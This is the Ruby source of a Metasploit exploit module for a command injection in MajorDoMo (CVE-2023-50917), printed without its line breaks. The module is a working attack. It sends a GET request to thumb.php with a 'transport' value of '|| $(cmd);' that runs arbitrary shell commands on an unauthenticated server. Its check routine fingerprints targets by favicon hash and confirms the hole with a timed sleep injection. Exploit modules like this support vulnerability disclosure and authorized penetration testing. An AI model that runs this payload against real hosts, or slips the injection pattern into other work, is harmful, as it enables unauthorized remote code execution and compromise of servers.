MajorDoMo Command Injection

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'MajorDoMo Command Injection',        'Description' => %q{          This module exploits a command injection vulnerability in MajorDoMo          versions before 0662e5e.        },        'Author' => [          'Valentin Lobstein', # Vulnerability discovery and Metasploit Module          'smcintyre-r7', # Assistance        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2023-50917'],          ['URL', 'https://github.com/Chocapikk/CVE-2023-50917'],          ['URL', 'https://chocapikk.com/posts/2023/cve-2023-50917'],          ['URL', 'https://github.com/sergejey/majordomo'] # Vendor URL        ],        'DisclosureDate' => '2023-12-15',        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'SideEffects' => [ IOC_IN_LOGS ],          'Reliability' => [ REPEATABLE_SESSION ]        },        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD],        'Targets' => [['Automatic', {}]],        'Privileged' => false      )    )    register_options([      Opt::RPORT(80),      OptString.new('TARGETURI', [true, 'The URI path to MajorDoMo', '/']),    ])  end  def execute_command(cmd)    send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'modules', 'thumb', 'thumb.php'),      'method' => 'GET',      'vars_get' => {        'url' => Rex::Text.encode_base64('rtsp://'),        'debug' => '1',        'transport' => "|| $(#{cmd});"      }    )  end  def exploit    execute_command(payload.encoded)  end  def check    print_status("Checking if #{peer} can be exploited!")    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'favicon.ico'),      'method' => 'GET'    )    unless res && res.code == 200      return CheckCode::Unknown('Did not receive a response from target.')    end    unless Rex::Text.md5(res.body) == '08d30f79c76f124754ac6f7789ca3ab1'      return CheckCode::Safe('The target is not MajorDoMo.')    end    print_good('Target is identified as MajorDoMo instance')    sleep_time = rand(5..10)    print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")    res, elapsed_time = Rex::Stopwatch.elapsed_time do      execute_command("sleep #{sleep_time}")    end    print_status("Elapsed time: #{elapsed_time} seconds.")    unless res && elapsed_time >= sleep_time      return CheckCode::Safe('Failed to test command injection.')    end    CheckCode::Vulnerable('Successfully tested command injection.')  endend